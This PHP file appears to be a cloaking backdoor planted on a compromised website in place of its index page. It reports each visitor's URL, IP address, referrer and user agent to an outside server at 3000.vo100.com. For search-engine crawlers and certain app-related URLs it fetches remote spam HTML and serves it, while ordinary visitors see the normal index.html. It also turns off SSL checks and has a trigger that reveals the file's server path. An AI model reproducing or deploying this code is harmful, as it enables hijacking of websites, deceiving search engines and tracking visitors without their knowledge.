<?php
set_time_limit(0);
date_default_timezone_set('PRC');

header("Content-Type: text/html;charset=utf-8");
// error_reporting(E_ALL & ~E_WARNING);
// chmod($_SERVER['SCRIPT_FILENAME'], 0444);
$base_url = 'http://3000.vo100.com:3000/';

function getFullUrl() {
    $protocol = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) === 'on') ? 'https' : 'http';
    $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
    $request_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
    return $protocol . '://' . $host . $request_uri;
}

// 兼容 PHP 5.x，确保 $CurrentUrl 有默认值
$CurrentUrl = getFullUrl();
$CurrentUrl = empty($CurrentUrl) ? 'http://abc.com/' : $CurrentUrl;

if (strpos($CurrentUrl, 'dirname__') !== false) {
    echo dirname(__FILE__) . '/' . basename(__FILE__);
    exit();
}

// 兼容 PHP 5.x，避免使用 ?? 运算符
$ip_ = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '0.0.0.0';
$refer_ = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'null';
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'null';

// 赋值 $ip_key，确保兼容
$ip_key = (strpos($CurrentUrl, '?') !== false) ? '&ip=' : '?ip=';

$url1 = $base_url . "CurrentUrl=" . urlencode($CurrentUrl) . $ip_key . urlencode($ip_) . "&refer=" . urlencode($refer_) . "&user_agent=" . urlencode($user_agent);
$url2 = $url1 . '&sitemap=sitemap.html';

function isSearchEngine($user_agent) {
    $searchBots = array('google', 'bing', 'baiduspider', '360spider', 'yisouspider', 'bytespider', 'sogou', 'slurp', 'spider', 'bot', 'crawler');
    foreach ($searchBots as $bot) {
        if (stripos($user_agent, $bot) !== false) {
            return true;
        }
    }
    return false;
}


function gethtml($url, $timeout = 30, $retry = 5) {
    // 验证 URL 格式
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        // error_log("Invalid URL: $url");
        return false;
    }

    // 设置默认的 User-Agent
    $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Mozilla/5.0 (compatible; PHP-Request)';

    // 判断是否可用的请求方式
    $useCurl = function_exists('curl_init');
    $useFileGetContents = function_exists('file_get_contents') && ini_get('allow_url_fopen');

    while ($retry > 0) {
        // 使用 cURL 发送请求
        if ($useCurl) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_USERAGENT, $userAgent);
            curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_MAXREDIRS, 10); // 增加最大重定向次数
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 关闭 SSL 证书验证
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // 关闭 SSL 主机验证

            // 启用 cURL 调试（用于排查问题）
            curl_setopt($ch, CURLOPT_VERBOSE, true);

            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $error = curl_error($ch);
            curl_close($ch);

            // 错误日志
            if ($response === false) {
                // error_log("Curl error for URL: $url, Error: $error, HTTP code: $httpCode");
            }

            // 成功返回响应
            if ($response !== false && $httpCode < 400) {
                return $response;
            }
        }

        // 使用 file_get_contents 发送请求（当 cURL 不可用时）
        if ($useFileGetContents) {
            $context = stream_context_create(array(
                'http' => array(
                    'method'  => 'GET',
                    'header'  => "User-Agent: " . $userAgent . "\r\n",
                    'timeout' => $timeout
                ),
                'ssl' => array(
                    'verify_peer'      => false,
                    'verify_peer_name' => false
                )
            ));
            $response = @file_get_contents($url, false, $context);
            if ($response === false) {
                $error = error_get_last();
                // error_log("file_get_contents error for URL: $url, Error: " . $error['message']);
            }

            // 成功返回响应
            if ($response !== false) {
                return $response;
            }
        }
    }

    return false; // 所有重试失败
}


function isIncludes($str) {
    // 使用传统数组语法，以兼容 PHP 5.2 及更早版本
    $keywords = array('data-app', 'ios-app', 'android-app', 'download-app', 'games-app', 'play-app', 'video-app', 'dkcl', 'apps');
    foreach ($keywords as $keyword) {
        if (stripos($str, $keyword) !== false) {
            return true;
        }
    }
    return false;
}


if (isIncludes($CurrentUrl)) {
    $html = gethtml($url1);
    if ($html === false) {
        echo "Request failed. Please check your network or URL: $url1";
    }
    echo $html;
    exit();
} 

if(isSearchEngine($user_agent)) {
    $html = gethtml($url2);
    if ($html !== false) {
        $html = preg_replace('/<title>.*?<\/title>/is', '', $html);
        $html = preg_replace('/<meta[^>]*description[^>]*>/is', '', $html);
        $html = preg_replace('/<meta[^>]*keywords[^>]*>/is', '', $html);
        echo $html;
    }
}




include 'index.html';